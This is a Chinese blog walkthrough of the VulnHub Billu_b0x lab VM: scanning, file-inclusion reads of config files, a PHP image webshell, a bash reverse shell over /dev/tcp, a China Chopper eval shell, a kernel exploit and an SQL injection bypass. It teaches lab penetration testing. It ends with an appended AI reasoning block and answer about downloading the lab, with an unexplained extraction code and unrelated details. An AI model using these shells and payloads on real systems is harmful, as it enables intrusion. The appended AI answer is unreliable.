VulnHub渗透实战Billu_b0x

本文通过一个经典VulnHub靶场环境,详细介绍了渗透测试的过程,包括信息收集、漏洞挖掘、权限提升等阶段,并分享了解决过程中遇到的问题及解决办法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

简介

VulnHub是一个面向所有人开放的安全靶场,里面有很多安全环境,只要下载相关镜像,在相关虚拟机上面运行就可以练习相关靶场了。里面设计了好多关,如果有耐心一定可以到达峰顶。许多考oscp人员,也会利用vulnhub靶场进行刷题。我们下载了一个经典漏洞靶场,给大家进行演示,希望让初学者知道渗透测试的套路,可以更快的成长。

官网:https://www.vulnhub.com/

image.png

参考了一些国外设计靶场一般分为几个套路

1.信息收集

2.漏洞挖掘

3.漏洞利用

4.权限提升

5.内网信息收集

下载链接

https://download.vulnhub.com/billu/Billu_b0x.zip

靶机说明

虚拟机难度中等,使用ubuntu(32位),其他软件包有:

PHP

apache

MySQL

目标

Boot to root:从Web应用程序进入虚拟机,并获得root权限。

运行环境

靶机:使用VMWare打开虚机,网络连接方式设置为net,靶机自动获取IP。

攻击机:同网段下有Windows攻击机,安装有Nmap、Burpsuit、Sqlmap、nc、Python2.7、DirBuster、AWVS、Nessus等渗透工具,kali攻击机,主要用Windows攻击机完成实验。

信息收集

ip发现

启动Billu_b0x虚拟机,由于虚机网络设置为net模式,使用Nmap扫描VMware Network Adapter VMnet8网卡的NAT网段C段IP,即可找到虚机IP,命令:

nmap -sP 192.168.64.1/24

image.png

获得靶机ip 192.168.64.161

端口和服务识别

使用nmap扫描1-65535全端口,并做服务识别和深度扫描(加-A参数),扫描结果保存到txt文件,命令:

nmap -p1-65535 -A 192.168.64.161 -oN billu.txt

image.png

发现目标主机端口和服务如下:

端口 协议 后端服务

TCP 22 SSH OpenSSH 5.9p1

TCP 80 HTTP Apache httpd 2.2.22

进入web首页:发现用户名口令输入框,并提示“Show me your SQLI skills”。

image.png

漏洞挖掘

漏洞挖掘思路:

(1) SQL注入:首页提示注入,想办法注入成功。

(2) 暴破目录:用DirBuster暴破,看是否有新网页,找新漏洞;

(3) 漏洞扫描:暴破的新网页,送进AWVS或APPScan扫漏洞;

(4) 手动挖掘:暴破的新页面,通过Firefox挂burp代理,在burp中观察Request和Response包,手动找漏洞;

(5) 查看每个网页的源码,看是否有提示;。

(6) 如得到用户名,密码,尝试登录ssh,如能连接上,无需反弹shell了。

步骤1:测试首页SQL注入

(1) 在用户名输入框输入admin' or 'a'='a -- 密码随意,发现无法注入,出现js弹框Try again:

image.png

(2) 使用sqlmap进行post注入测试,命令:

sqlmap.py -u “http://192.168.64.161” –data “un=admin&ps=admin&login=let%27s+login” –level 3 –dbms mysql

image.png

sqlmap注入检测完成,结果无法注入,目前不知道系统对注入的过滤规则是什么,使用几个sqlmap的tamper测试也未成功。暂时先不fuzz注入,看看暴破目录。

步骤2:windows使用DirBuster暴破目录,同时使用kali Linux的dirb暴破,为得到更多的暴破结果,并减少暴破时间:

得到页面较多,test.php、add.php、in.php、c.php、index.php、show.php等,目录有:uploaded_images,phpmy依次访问:

image.png

image.png

步骤3:利用文件包含漏洞获取php源码、passwd文件

(1) 访问test.php:页面提示file参数为空,需要提供file参数

image.png

测试文件包含:http://192.168.64.161?file=/etc/passwd 发现无法包含,跳转会首页。

image.png

(2) 在Firefox的Hackbar或者Brupsuit中,将get请求,变更为post请求,文件包含成功,获得passwd文件。

使用hackerbar post数据,可下载passwd文件:

image.png

使用burpsuit中选择Change request method,将get请求转换为post请求,获得passwd文件成功:

image.png

image.png

(3) 通过同样文件包含的方法,下载add.php、in.php、c.php、index.php、show.php、panel.php等文件,后面可以访问文件的同时,审计文件的源代码。

image.png

(4) 查看passwd文件,发现1个id 1000的账号ica,ssh连接的用户名可以是ica或root:

image.png

步骤4:访问add.php、in.php页面和审计代码

image.png

add.php是一个上传界面,但是功能无法使用,查看源码文件发现只是个页面,没有后台处理代码。in.php是php info信息。

步骤5:查看c.php源码

这是数据库连接文件,发现mysql连接用户名密码:

用户名:billu

密码:b0x_billu

数据库名:ica_lab

image.png

步骤6:通过得到的mysql密码登录phpmyadmin失败

(1) 通过dirb暴破出/phpmy目录,访问该目录到phpmyadmin登录页面:

image.png

使用mysql密码尝试登录phpmyadmin:可是无法登录。目前得到一个ssh用户是ica,mysql连接账号billu和密码b0x_billu,尝试登录ssh和phpmyadmin都失败。

目前SQL注入绕过没有成功,得到的mysql连接密码无法登录phpmyadmin。

初步推测虚拟机故障:mysql没有正常启动,稍后打算单用户模式进入Ubuntu排查。

步骤7:继续暴破phpmy目录,文件包含phpmyadmin配置文件

(1) phpmyadmin的默认的配置文件是:config.inc.php。需要猜测路径,通过URL猜测路径默认在/var/www/phpmy下面。

(2) 在火狐浏览器的Hackbar或者Burpsuit中,通过文件包含,读取config.inc.php文件,Hackbar的获取方法:

image.png

image.png

在配置文件中发现root密码:roottoor

(3) Burpsuit的获取方法:

image.png

步骤8:使用xshell ssh登录root账号,完成实验

image.png

步骤9:排查mysql故障

至此已经获得root权限,但是之前的phpmyadmin无法登录问题,怀疑mysql故障,root登录后,查看mysql状态为:mysql stop/waiting,推测mysql被之前的高线程目录暴破、扫描导致故障,尝试重启mysql失败,决定重新安装虚拟机。

image.png

虚机重新安装后,ssh登录,查看mysql运行状态正常,但是新虚机的IP变成:192.168.64.162。

image.png

步骤10:回到步骤6,通过得到的mysql密码登录phpmyadmin

用户名:billu,密码:b0x_billu,登录成功。

image.png

ica_lab数据库的auth表中,找到web登录的用户名:biLLu,密码:hEx_it。

image.png

获取shell

步骤11:登录index首页,并获得cmd shell和反弹shell

(1) 使用web密码登录首页,大小写必须一样。

image.png

登录后是账号管理界面,账号是加勒比海盗的两位主角船长:杰克·斯帕罗和巴博萨船长。多写一句,本人更喜欢巴博萨船长,一个像敌人一样的海盗朋友,幽默、勇敢、阴险狡诈、霸道野心、老谋深算。

两个账号的头像图片地址,在之前暴破出来:http://192.168.64.162/uploaded_images/

image.png

(2) 点击add user进入添加账号界面,这是一个图片上传,思路是利用图片上传和文件包含获得shell。

查看之前test文件包含获得的panel.php源码,发现panel.php存在本地文件包含漏洞:

image.png

下载一张http://192.168.64.162/uploaded_images/中的图片jack.php,文本编辑器打开,在文件中间或末尾加入一句话cmd命令马<?php system($_GET['cmd']); ?> 将文件上传成功。

image.png

(3) 使用burp执行命令:post请求url中加入执行命令的参数:POST /panel.php?cmd=cat%20/etc/passwd;ls

post的body中包含cmd.jpg图片马:load=/uploaded_images/cmd.jpg&continue=continue

成功执行命令cat /etc/passwd;ls

image.png

(4) 用bash反弹shell

命令:echo “bash -i >& /dev/tcp/192.168.64.1/4444 0>&1″ | bash

需要将命令url编码:

image.png

在post的url中发送命令:

image.png

nc接收反弹shell成功:

image.png

步骤12:找一个可写权限目录,写入菜刀马

文件上传目录uploaded_images为写权限目录,进入该目录,写一个菜刀马:echo '<?php eval($_POST['123456']);?>' >> caidao.php

image.png

菜刀连接成功,方便传文件。

image.png

提升权限

步骤13:查看内核、系统版本,寻找提权exp

(1) 查看系统内核版本,命令uanme -acat /etc/issue

image.png

(2) 下载Ubuntu著名的本地提权漏洞exp:

https://www.exploit-db.com/exploits/37292/

image.png

步骤14:编译、提权

(1) 赋予执行权限

chmod 777 37292.c

(2) 编译exp

gcc 37292.c -o exp

(3) 执行exp,提权至root

image.png

总结

正常的思路有3条路线可以突破:

思路1 构造注入:从test的文件包含获得index.php源码,源码中可查看到过滤sql的方法,针对性构造sql注入,登录后获取shell再提权。

(1) 审计index.php源码,发现以下过滤规则:

$uname=str_replace('\'','',urldecode($_POST['un']));

$pass=str_replace('\'','',urldecode($_POST['ps']));

str_replace的作用是将字符串\’ 替换为空,因此构造SQL注入登录payload时,必须含有\’字符串,否则会报错。urldecode的作用是将输入解码。

(2) 常见的利用注入登录的payload是’ or 1=1 — 修改这个在最后增加\’,str_replace会将这个\’替换为空。

使用php在线调试工具,测试如下:

image.pngimage.png

(3) 注入成功,payload是’ or 1=1 — \’

image.png

后面获取shell方法和上面实验相同。

思路2:暴破出phpmyadmin,文件包含从c.php获得mysql密码,登录phpmyadmin,再获取shell。

思路3:文件包含所有有权限查看的配置文件,从phpmyadmin配置文件获得root密码,然后ssh登录。该过程尽管mysql故障,也可以完成。

踩到的坑

(1) mysql被高线程目录暴破和注入宕机:导致phpmyadmin有正确密码但无法登录,耗费较长时间。这是意外故障。因为之前的2个工具同时目录暴破、sqlmap注入等线程过高,导致mysql死了。

(2) test.php文件包含漏洞利用,get不行,改为post试试。包含成功后,要把各个页面的源代码拿下来审计。

(3) index.php的SQL注入花费不少时间,后来发现,即使不用sql注入,也有其他道路可以完成,通过phpmyadmin登录,绕过了注入。

(4) panel.php的文件包含漏洞,如果不认真关注源码,难以发现。使用test.php的文件包含,没能触发shell利用。

(5) 文件上传+文件包含拿shell是靶机常用的方式,遇到两个漏洞,可以熟练拿shell。

(6) 提权方法可以多关注主要的配置文件、数据库连接文件、用户的文件;也可以利用Ubuntu已知漏洞本地提权。

<think>好的,我需要处理用户关于下载billu_b0x的请求。首先,用户提到想通过百度网盘下载这个资源,并引用了某个参考来源。根据引用内容,用户可能已经有一个百度网盘的链接,但需要提取码wxhn。不过,我需要验证这个链接是否仍然有效,以及资源是否安全合规。 接下来,我需要考虑用户可能遇到的问题。例如,链接失效、提取码错误,或者下载后的文件无法正确导入VMware。此外,用户可能对设置NAT模式的网络配置有疑问,或者渗透测试过程中遇到技术障碍。 另外,用户的需求可能不仅限于下载,还可能包括如何配置环境和进行后续的渗透测试步骤。因此,生成相关问题时,需要涵盖下载步骤、环境配置、常见问题解决以及实际应用场景。 最后,要确保回答符合系统级指令,正确使用LaTeX格式,并添加引用标识。同时,保持回答结构清晰,分步骤帮助用户解决问题,并保证信息的准确性和安全性。</think>关于billu_b0x靶场资源的下载与使用,根据引用内容中提供的信息[^1],具体操作步骤如下: 1. **百度网盘下载** - 访问百度网盘链接(需自行搜索最新有效链接) - 输入提取码:$wxhn$(注意字母大小写) - 下载后解压得到虚拟机文件 2. **虚拟机配置** ```bash # 设置NAT模式网络 VMware菜单栏 > 编辑 > 虚拟网络编辑器 > 选择NAT模式 ``` 需确保攻击机(如Kali Linux)和靶机使用相同的网络模式,配置示意图: $$ \begin{cases} \text{攻击机IP} \in 192.168.153.0/24\\ \text{靶机IP} \in 192.168.153.0/24 \end{cases} $$ 3. **渗透测试验证** 建议使用Nmap进行基础探测: ```python import nmap scanner = nmap.PortScanner() scanner.scan('192.168.153.0/24', arguments='-sP') ```
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值